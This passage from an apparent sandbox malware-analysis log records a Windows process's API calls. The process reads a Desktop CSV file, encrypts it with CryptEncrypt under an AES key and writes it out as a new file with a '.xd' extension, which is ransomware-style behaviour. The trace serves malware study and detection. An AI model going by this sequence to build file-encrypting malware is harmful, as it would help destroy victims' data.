wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.956] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.956] CryptDestroyHash (hHash=0x164c330) returned 1 [0075.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.956] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lmtljc6f9n.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.956] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.956] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.956] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.958] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lmtljc6f9n.csv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.960] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.962] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.962] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xf34c, lpOverlapped=0x0) returned 1 [0075.964] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.968] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.968] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.968] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.968] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.969] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.969] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.969] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.969] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.969] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.969] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.969] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.969] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.970] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.970] CryptGetKeyParam (in: hKey=0x164c9b0, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.970] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.970] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.970] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.970] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.970] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.971] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.971] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.971] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.971] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.972] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.972] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.972] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xf34c, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xf350) returned 1 [0075.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.972] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.973] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.973] CharLowerBuffW (in: lpsz="byte[62289]", cchLength=0xb | out: lpsz="byte[62289]") returned 0xb [0075.973] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.974] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.975] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.975] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.975] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.975] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.975] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180e528*, pdwDataLen=0x130e618*=0xf34c, dwBufLen=0xf350 | out: pbData=0x180e528*, pdwDataLen=0x130e618*=0xf350) returned 1 [0075.975] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.975] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.975] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.975] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.976] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.976] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.976] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.976] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.976] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.980] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.980] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.980] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.980] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xf350, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xf350, lpOverlapped=0x0) returned 1 [0075.982] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.982] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.982] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.982] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.982] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.982] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0075.982] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16212e8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.982] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.982] CryptDestroyKey (hKey=0x164c9b0) returned 1 [0075.983] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.983] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.983] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.983] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.984] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.984] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.984] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.984] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.984] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.984] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.984] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.984] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.985] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.985] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.985] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.985] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.985] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.985] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.985] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.985] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.985] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.985] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.985] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.986] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.986] CryptReleaseContext (hProv=0x1631bb0, 